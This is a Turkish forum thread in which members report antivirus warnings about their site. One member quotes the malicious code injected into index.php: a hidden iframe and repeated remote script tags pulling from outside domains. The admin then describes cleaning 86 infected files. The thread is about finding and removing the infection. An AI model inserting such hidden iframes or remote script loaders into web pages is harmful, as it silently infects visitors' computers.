Virus

[keskinli]

EXP/Pidief.azc
TR/BurnInHell.I' [trojan]
bugün gelenler bunlar,dün daha baska bi virüs gelmisti
ayyrica bilgisayarimin düsmesine sebep olan svchost diye baska bi virüsde var
her türlü aramayi yaptirdim,bulduklarim sildirdim ama her seferinde yeniden geliyor
firefoxla girince siteye girmeden saldiri var diye uyariyor firefox
forumun 1 hafta öncesine cevirsek belki bu sorun kalkar,sanirim son yüklemelrden biri virüslü

[+18 !]

evet aynı sorun bendede oLuyor ve aLıntı yapamıyorum

[M34]

bendede ayni sorun var. firefox ve google chrome "girmeyiniz metin bey, tehlike var" diyor. internet explorer birsey vermiyor.

Hata bu:

Bei 9 Seite(n) von insgesamt 11 Seiten dieser Website, die wir in den letzten 90 Tagen getestet haben, wurde festgestellt, dass Malware (Schadsoftware) ohne Einwilligung des Nutzers heruntergeladen und installiert wurde. Der letzte Besuch von Google auf dieser Website war am 2009-06-11 und verdächtiger Content wurde auf dieser Website zuletzt am 2009-06-11 gefunden.

Die Malware wird in 2 Domain(s) gehostet, darunter thelotmachine.cn/, shopmovieproduction.cn/.

This site was hosted on 1 network(s) including AS29671 (SERVAGE).

Yani problem sudur ki, bu site thelotmachine.cn sitesinden bazi seyler bulunduruyor. onlarin silinmesi gerekiyor sanirim.

[M34]

arastirdim ... index.php'deki altdaki nasilsa girmis php'ye:

</body></html><iframe src="http://thelotmachine.cn:8080/ts/in.cgi?pepsi49" width=125 height=125 style="visibility: hidden"></iframe><script LANGUAGE="javascript" SRC="http://visionfuture.qc.ca/images/top.js"></script><script LANGUAGE="javascript" SRC="http://visionfuture.qc.ca/images/top.js"></script><script LANGUAGE="javascript" SRC="http://visionfuture.qc.ca/images/top.js"></script><script LANGUAGE="javascript" SRC="http://visionfuture.qc.ca/images/top.js"></script>

bunu mutlaka silin ... ve en iyisi tüm dosyalari buna iliskin arama yaptirin. sonra hata falan kalmaz. su anda bu javascript'in bir tehlikesi oldugunu bilmiyorum. javascript olmasi kötü yanliz. bence biran önce yapilsa iyi olur.

[M34]

sorun baska sitelerde de varmis. bu öneriliyor:

http://www.r10.net/php/359193-sitenize-bulasan-iframe-virusunun-temizlenmesi-icin-php-script.html

[NoPasaran]

Evimde net yok ben bakamıyorum hiç arkadaşlar..

Ancak bu son bir kaç haftada bir kaç sitede gördüğüm bir hata. Virüs tam denmiyor bunlara ama yinede sorun işte...

Çözümü için evime net alıp geçip bakmam lazım..

Geçiçi bu akşamda uğraşacağım

[eRe]

abi mcafee site advisor sokmuyor beni siteye
ve sitedeykende sureklı truva atı gırıyor
haberın olsun abı
msnde yazmak ısterdım ama bulamadım senı msnde

[[KralKartal]]

virus bende daha gelmiyor, dun vardi bugun sorun cikmadi?

[Bircan*]

artık alıntı yapabiliyorummmm ! :D :D

[NoPasaran]

Dün epey bir temizleme yaptım ancak halen devam ediyor bazı dosyalarımızda..

Bugünde devam edeceğim

[eRe]

abı ben hala gıremıyorum mcafee acıkken :(

[NoPasaran]

Yarın dene erdem bugün kontrol yapacağım ben..

[Bircan*]

Dün epey bir temizleme yaptım ancak halen devam ediyor bazı dosyalarımızda..

Bugünde devam edeceğim

teşekkürLerr...

[eebjk]

abi alıntı yapamıyorum ya sebebi nedir acaba?

[NoPasaran]

Konu ile ilgili olarak yaklaşık 3 saattir uğraşıyorum arkadaşlar..

Sorun yukarda M34 arkadaşımızında söylediği gibi dosyalara gelen bir virüs çeşidi ve hızla yayılıyor site içerisinde..

O dosyaları siliyoruz şimdi BAZI PROGRAMLAR ARACILIĞI İLE..

Kralkartal.com adresinde toplam 86 dosyaya gizlenmiş kod bulduk. Bütün sunucunun taranması için bu gece komple indirme yapacağım sitelerimizi..Şu an %80 ini indirdim..En geç pazara umarım sorun çözülür..

M34 arkadaşımızında katkıları oldu teşekkür ederim. Ondan yine teknik takviye isteyebiliriz..

Teşekkürler.